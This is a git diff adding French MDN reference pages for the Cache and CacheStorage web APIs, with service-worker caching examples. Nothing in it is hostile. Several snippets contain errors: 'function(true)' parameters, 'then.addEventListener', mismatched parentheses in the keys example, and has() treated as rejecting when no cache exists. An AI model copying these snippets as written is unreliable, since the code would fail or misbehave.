+        return caches.open(OFFLINE_CACHE).then(function(cache) {
+          return cache.match(OFFLINE_URL);
+        });
+      })
+    );
+  }
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-match', 'Cache match')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.match")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cache/matchall/index.html b/files/fr/web/api/cache/matchall/index.html
new file mode 100644
index 0000000000..4ea5b00be0
--- /dev/null
+++ b/files/fr/web/api/cache/matchall/index.html
@@ -0,0 +1,93 @@
+---
+title: Cache.matchAll()
+slug: Web/API/Cache/matchAll
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - matchAll
+translation_of: Web/API/Cache/matchAll
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>matchAll()</code></strong> de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de toutes les requêtes qui matchent dans l'objet {{domxref("Cache")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cache.matchAll(request,{options}).then(function(response) {
+  // faire quelque chose avec le tableau des réponses
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>La {{domxref("Request", "Requête")}} à trouver dans le {{domxref("Cache")}}.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet d'options vous permettant de définir des options de contrôle spécifiques pour la correspondance effectuée. Les options disponibles sont les suivantes :
+ <ul>
+  <li><code>ignoreSearch</code>: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url.  Si mis à <code>true</code>, la partie <code>?value=bar</code> de l'url <code>http://foo.com/?value=bar</code> sera ignorée lors du matching. Est à <code>false</code> par défaut.</li>
+  <li><code>ignoreMethod</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true</code>, empêche les opérations de matching de valider la méthode <code>HTTP</code> de la {{domxref("Request", "Requête")}} (en temps normal, seules <code>GET</code> et <code>HEAD</code> sont autorisées.) Est à  <code>false</code> par défaut.</li>
+  <li><code>ignoreVary</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true,</code> indique à l'opération de matching de ne pas effectuer le matching <code>VARY</code> des header.  En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header <code>VARY</code> ou non. Est à <code>false</code> par défaut.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de toutes les requêtes qui matchent dans l'objet {{domxref("Cache")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Cache.match()")}} est quasiment identique à <a href="https://developer.mozilla.org/fr/docs/Web/API/Cache/matchAll" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>Cache.matchAll()</code></a>, si ce n'est qu'elle est résolue en <code>response[0]</code> (la première réponse qui matche) plutôt que <code>response[]</code> (un tableau de toutes les réponses qui matchent).</p>
+</div>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.matchAll('/images/').then(function(response) {
+    response.forEach(function(element, index, array) {
+      cache.delete(element);
+    });
+  });
+})</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-matchall', 'Cache: matchAll')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.matchAll")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cache/put/index.html b/files/fr/web/api/cache/put/index.html
new file mode 100644
index 0000000000..16dfeed1fb
--- /dev/null
+++ b/files/fr/web/api/cache/put/index.html
@@ -0,0 +1,119 @@
+---
+title: Cache.put()
+slug: Web/API/Cache/put
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - put
+translation_of: Web/API/Cache/put
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>put()</code></strong> de l'interface {{domxref("Cache")}} permet d'ajouter des paires clé/valeur à l'objet {{domxref("Cache")}} en cours.</p>
+
+<p>Souvent, le comportement voulu est juste de {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} une ou plusieurs requête, et d'ajouter les résultats directement dans le cache. Dans ce type de cas, il est plus judicieux d'utiliser  {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}} , étant donné que ces méthodes sont des raccourcis pour une ou plusieurs de ces opérations :</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>put()</code> écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à la requête.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Les implémentations initiales de Cache (à la fois dans Blink et Gecko) résolvent les promesses   {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, et {{domxref("Cache.put")}} quand le corps de la réponse est entièrement écrit en stockage.  Les versions plus récentes des spécifications sont plus précises en déclarant que le navigateur peut résoudre ces promesses dès que l'entrée est enregistrée en base de donnée, même si le reste de la requête est encore en train d'arriver.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Depuis Chrome 46, l'API Cache ne stocke que les requêtes depuis des origines sécurisées, à savoir celles servies en HTTPS.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cache.put(request, response).then(function() {
+  // la paire requête/réponse a été ajoutée au cache
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>La {{domxref("Request", "Requête")}} à ajouter au cache.</dd>
+ <dt>response</dt>
+ <dd>La {{domxref("Response", "Réponse")}} à associer à la requête.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} est retournée avec void.</p>
+
+<div class="note">
+<p><strong>Note</strong>: La promesse sera rompue avec un <code>TypeError</code> si le schéma d'URL n'est pas <code>http</code> ou <code>https</code>.</p>
+</div>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>Cet extrait de code est tiré du MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (lancez <a href="https://mdn.github.io/sw-test/">sw-test dans votre navigateur</a>). On attend le déclenchement d'un {{domxref("FetchEvent")}}, puis l'on va retourner une réponse spéciale d'après la procédure suivante :</p>
+
+<ol>
+ <li>Vérifier si un match pour la requête a été trouvé dans le {{domxref("CacheStorage")}} grâce à  {{domxref("CacheStorage.match","CacheStorage.match()")}} . Si oui, servir cette réponse.</li>
+ <li>Sinon, ouvrir le cache <code>v1</code> avec <code>open()</code>, insérer la requête réseau par défaut dans le cache via {{domxref("Cache.put","Cache.put()")}} , et retourner un clone de cette requête avec <code>return response.clone()</code> — nécessaire car <code>put()</code> détruit le corps de la réponse.</li>
+ <li>En cas d'échec (e.g., car le réseau est inaccessible), retourner une réponse de secours.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.put")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cachestorage/delete/index.html b/files/fr/web/api/cachestorage/delete/index.html
new file mode 100644
index 0000000000..fa7fadf1b9
--- /dev/null
+++ b/files/fr/web/api/cachestorage/delete/index.html
@@ -0,0 +1,85 @@
+---
+title: CacheStorage.delete()
+slug: Web/API/CacheStorage/delete
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - delete
+translation_of: Web/API/CacheStorage/delete
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La fonction <code><strong>delete</strong></code><strong><code>()</code></strong> de l'interface {{domxref("CacheStorage")}} trouve l'objet {{domxref("Cache")}} correspondant à un <code>cacheName</code>, et si trouvé, supprime l'objet {{domxref("Cache")}} et retourne une {{jsxref("Promise", "Promesse")}} qui renvoie <code>true</code>. Si aucun objet {{domxref("Cache")}} n'est trouvé, elle retourne <code>false</code>.</p>
+
+<p>Vous pouvez accéder à <code>CacheStorage</code> via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">caches.delete(<em>cacheName</em>).then(function(true) {
+  // le cache est maintenant supprimé
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cacheName</dt>
+ <dd>Le nom du cache que vous souhaitez supprimer.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui renvoie <code>true</code> si l'objet {{domxref("Cache")}} est trouvé et supprimé, <code>false</code> sinon.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>Dans ce fragment de code, nous attendons un évènement, et bloquons avec un {{domxref("ExtendableEvent.waitUntil","waitUntil()")}}, qui nettoie les anciens, inutilisés, caches avant que le nouveau service worker soit activé. Nous avons ici une liste blanche contenant le nom du cache que nous voulons garder. Nous retournons les clés des caches dans l'objet {{domxref("CacheStorage")}} utilisant {{domxref("CacheStorage.keys")}}, pour ensuite vérifier que chaque clé est dans la liste blance. Sinon, nous la supprimons avec <code>delete().</code></p>
+
+<pre class="brush: js">then.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage-delete', 'CacheStorage: delete')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CacheStorage.delete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cachestorage/has/index.html b/files/fr/web/api/cachestorage/has/index.html
new file mode 100644
index 0000000000..d28ba6eeb0
--- /dev/null
+++ b/files/fr/web/api/cachestorage/has/index.html
@@ -0,0 +1,80 @@
+---
+title: CacheStorage.has()
+slug: Web/API/CacheStorage/has
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - has
+translation_of: Web/API/CacheStorage/has
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>has()</code></strong> de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie <code>true</code> si un objet {{domxref("Cache")}} est égal au <code>cacheName</code>.</p>
+
+<p>Vous pouvez accéder à <code>CacheStorage</code> via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">caches.has(<em>cacheName</em>).then(function(true) {
+  // le cache existe!
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cacheName</dt>
+ <dd>Un  {{domxref("DOMString")}} représentant le nom de l'objet {{domxref("Cache")}} que vous cherchez dans le {{domxref("CacheStorage")}}.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui renvoie <code>true</code> si le cache existe.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>L'exemple suivant vérifie qu'un cache nommé 'v1' exists. Si c'est le cas, nous lui ajoutons une liste d'assets. Si non (la promesse <code>has()</code> est rejetée) alors nous exécutons une sorte d'initialisation du cache.</p>
+
+<pre class="brush: js">caches.has('v1').then(function() {
+  caches.open('v1').then(function(cache) {
+      return cache.addAll(myAssets);
+  });
+}).catch(function() {
+  someCacheSetupfunction();
+});;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage-has', 'CacheStorage: has')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CacheStorage.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cachestorage/index.html b/files/fr/web/api/cachestorage/index.html
new file mode 100644
index 0000000000..73138a4baf
--- /dev/null
+++ b/files/fr/web/api/cachestorage/index.html
@@ -0,0 +1,196 @@
+---
+title: CacheStorage
+slug: Web/API/CacheStorage
+tags:
+  - API
+  - Cache de stockage
+  - Experimental
+  - Interface
+  - Reference
+  - Service Workers
+  - ServiceWorker
+translation_of: Web/API/CacheStorage
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>L'interface <code>CacheStorage</code> représente le stockage des objets {{domxref("Cache")}}.</p>
+
+<p>L'interface :</p>
+
+<ul>
+ <li>Fournit un répertoire principal de tous les caches nommés qui peut être accessible par un {{domxref("ServiceWorker")}} ou un autre type de travailleur ou portée de {{domxref("window")}} (vous n'êtes pas limité à l'utiliser uniquement avec des Service Workers, même si la spécification {{SpecName("Service Workers")}} le définit).
+  <div class="note"><strong>Note </strong>: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1026063">Chrome et Safari n'exposent que "CacheStorage" au contexte fenêtré sur HTTPS</a> <sup>(EN)</sup>. {{domxref("window.caches")}} sera indéfinie, à moins qu'un certificat SSL ne soit configuré.</div>
+ </li>
+ <li>Maintient une correspondance entre les noms des chaînes de caractères et les objets {{domxref("Cache")}} correspondants.</li>
+</ul>
+
+<p>Utilisez {{domxref("CacheStorage.open()")}} pour obtenir une instance {{domxref("Cache")}}.</p>
+
+<p>Utilisez {{domxref("CacheStorage.match()")}} pour vérifier si une {{domxref("Request", "Requête")}} donnée est une clé dans l'un des objets {{domxref("Cache")}} que l'objet <code>CacheStorage</code> surveille.</p>
+
+<p>Vous pouvez accéder à <code>CacheStorage</code> via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}.</p>
+
+<div class="note"><strong>Note</strong>: CacheStorage échouera systématiquement avec une <code>SecurityError</code> sur les domaines non certifiés (i.e. ceux qui n'utilisent pas HTTPS, bien que cette définition risque de devenir plus complexe dans le future). Pendant vos tests vous pouvez contourner ce comportement en cochant l'option "Enable Service Workers over HTTP (when toolbox is open)" dans les options Firefox Devtools / le menu gear.</div>
+
+<div class="note"><strong>Note</strong>: {{domxref("CacheStorage.match()")}} est une méthode de convenance. Il est possible d'implémenter une fonctionnalité équivalente pour matcher une entrée de cache en appelant {{domxref("CacheStorage.open()")}}, puis en retournant {{domxref("CacheStorage.keys()")}}, et en matchant les entrées voulues avec {{domxref("CacheStorage.match()")}}.</div>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("CacheStorage.match()")}} {{experimental_inline}}</dt>
+ <dd>Cherche si une {{domxref("Request")}} donnée est la clé de n'importe lequel des objets {{domxref("Cache")}} maintenus par le {{domxref("CacheStorage")}}, et retourne une {{jsxref("Promise", "Promesse")}} résolue en cet objet {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("CacheStorage.has()")}} {{experimental_inline}}</dt>
+ <dd>Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en <code>true</code> si un objet {{domxref("Cache")}} qui correspond au <code>cacheName</code> existe.</dd>
+ <dt>{{domxref("CacheStorage.open()")}} {{experimental_inline}}</dt>
+ <dd>Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en l'objet {{domxref("Cache")}} qui correspond au <code>cacheName</code> (si il n'existe pas, un nouveau cache est créé).</dd>
+ <dt>{{domxref("CacheStorage.delete()")}} {{experimental_inline}}</dt>
+ <dd>Trouve l'objet {{domxref("Cache")}} correspondant au <code>cacheName</code>, et si il est trouvé, supprime l'objet {{domxref("Cache")}} et retourne une {{jsxref("Promise", "Promesse")}} résolue à <code>true</code>. Si aucun objet {{domxref("Cache")}} n'est trouvé, la {{jsxref("Promise", "Promesse")}} est résolue à <code>false</code>.</dd>
+ <dt>{{domxref("CacheStorage.keys()")}} {{experimental_inline}}</dt>
+ <dd>Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau qui contient toutes les chaînes correspondantes aux objets {{domxref("Cache")}} maintenus par le {{domxref("CacheStorage")}}. Cette méthode peut s'utiliser pour itérer sur une liste de tous les objets {{domxref("Cache")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet extrait de code est tiré de l'<a href="https://github.com/mdn/sw-test/">exemple MDN sw-test</a> (lancer <a href="https://mdn.github.io/sw-test/">sw-test dans votre navigateur</a>). Ce service worker script attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} pour gérer la phase d'installation de l'app. Cela consiste à appeler {{domxref("CacheStorage.open")}} pour créer un nouveau cache, puis {{domxref("Cache.addAll")}} pour y ajouter une série d'assets.</p>
+
+<p>Dans le second bloc de code, on attends le déclenchement d'un {{domxref("FetchEvent")}}. On construit ensuite une réponse spéciale comme suit :</p>
+
+<ol>
+ <li>Vérifier si il y a un match pour la requête dans le CacheStorage. Le cas échéant, servir ça.</li>
+ <li>Sinon, récupérer la requête sur le réseau, puis ouvrir le cache du premier bloc et y ajouter un clone de la requête grâce à {{domxref("Cache.put")}} (<code>cache.put(event.request, response.clone())</code>.)</li>
+ <li>En cas d'échec (e.g. car le réseau est inaccessible), retourner une réponse par défaut.</li>
+</ol>
+
+<p>Enfin, on retourne cette réponse en utilisant {{domxref("FetchEvent.respondWith")}}.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  event.respondWith(caches.match(event.request).then(function(response) {
+    // caches.match() fonctionne toujours
+    // mais en cas de succès, la réponse aura une valeur
+    if (response !== undefined) {
+      return response;
+    } else {
+      return fetch(event.request).then(function (response) {
+        // la réponse ne peut être utilisée qu'une seule fois
+        // nous devons sauvegarder le clone pour mettre
+        // une copie en cache et servir le second
+        let responseClone = response.clone();
+
+        caches.open('v1').then(function (cache) {
+          cache.put(event.request, responseClone);
+        });
+        return response;
+      }).catch(function () {
+        return caches.match('/sw-test/gallery/myLittleVader.jpg');
+      });
+    }
+  }));
+});</pre>
+
+<p>Cet extrait montre comment l'API peut être utilisée en dehors du contexte d'un Service Worker, et utilise l'opérateur "await" pour un code beaucoup plus lisible.</p>
+
+<pre class="brush: js">// Essayer d'obtenir des données du cache, mais se rabattre sur la récupération en direct.
+async function getData() {
+   const cacheVersion = 1;
+   const cacheName    = `myapp-${ cacheVersion }`;
+   const url          = 'https://jsonplaceholder.typicode.com/todos/1';
+   let cachedData     = await getCachedData( cacheName, url );
+
+   if ( cachedData ) {
+      console.log( 'Récupération des données mises en cache' );
+      return cachedData;
+   }
+
+   console.log( 'Obtenir de nouvelles données' );
+
+   const cacheStorage = await caches.open( cacheName );
+   await cacheStorage.add( url );
+   cachedData = await getCachedData( cacheName, url );
+   await deleteOldCaches( cacheName );
+
+   return cachedData;
+}
+
+// Obtenir des données du cache.
+async function getCachedData( cacheName, url ) {
+   const cacheStorage   = await caches.open( cacheName );
+   const cachedResponse = await cacheStorage.match( url );
+
+   if ( ! cachedResponse || ! cachedResponse.ok ) {
+      return false;
+   }
+
+   return await cachedResponse.json();
+}
+
+// Delete any old caches to respect user's disk space.
+async function deleteOldCaches( currentCache ) {
+   const keys = await caches.keys();
+
+   for ( const key of keys ) {
+      const isOurCache = 'myapp-' === key.substr( 0, 6 );
+
+      if ( currentCache === key || ! isOurCache ) {
+         continue;
+      }
+
+      caches.delete( key );
+   }
+}
+
+try {
+   const data = await getData();
+   console.log( { data } );
+} catch ( error ) {
+   console.error( { error } );
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CacheStorage")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utilisation des Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cachestorage/keys/index.html b/files/fr/web/api/cachestorage/keys/index.html
new file mode 100644
index 0000000000..650b9b4f53
--- /dev/null
+++ b/files/fr/web/api/cachestorage/keys/index.html
@@ -0,0 +1,83 @@
+---
+title: CacheStorage.keys()
+slug: Web/API/CacheStorage/keys
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Méthodes
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - keys
+translation_of: Web/API/CacheStorage/keys
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <code><strong>keys</strong></code><strong><code>()</code></strong> de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie une liste content les chaines de caractères correspondant à tous les noms des {{domxref("Cache")}} suivient par l'objet {{domxref("CacheStorage")}}. Utilisez cette méthode pour itérer sur une liste de tous les objets {{domxref("Cache")}}.</p>
+
+<p>Vous pouvez accéder à <code>CacheStorage</code> via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">caches.keys().then(function(<em>keyList</em>) {
+  // faire quelque-chose avec votre keylist
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui retourne une liste de noms de {{domxref("Cache")}} contenus dans un objet {{domxref("CacheStorage")}}.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>Dans ce fragment de code, nous attendons un évènement, et bloquons avec un {{domxref("ExtendableEvent.waitUntil","waitUntil()")}}, qui nettoie les anciens caches, inutilisés, avant que le nouveau service worker soit activé. Nous avons ici une liste blanche contenant le nom du cache que nous voulons garder. Nous retournons les clés des caches dans l'objet {{domxref("CacheStorage")}} utilisant {{domxref("CacheStorage.keys")}}, pour ensuite vérifier que chaque clé est dans la liste blance. Sinon, nous la supprimons avec <code>delete().</code></p>
+
+<pre class="brush: js">then.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      });
+    })
+  );
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cachestorage-keys', 'CacheStorage: keys')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CacheStorage.keys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cachestorage/match/index.html b/files/fr/web/api/cachestorage/match/index.html
new file mode 100644
index 0000000000..42346f8fd0
--- /dev/null
+++ b/files/fr/web/api/cachestorage/match/index.html
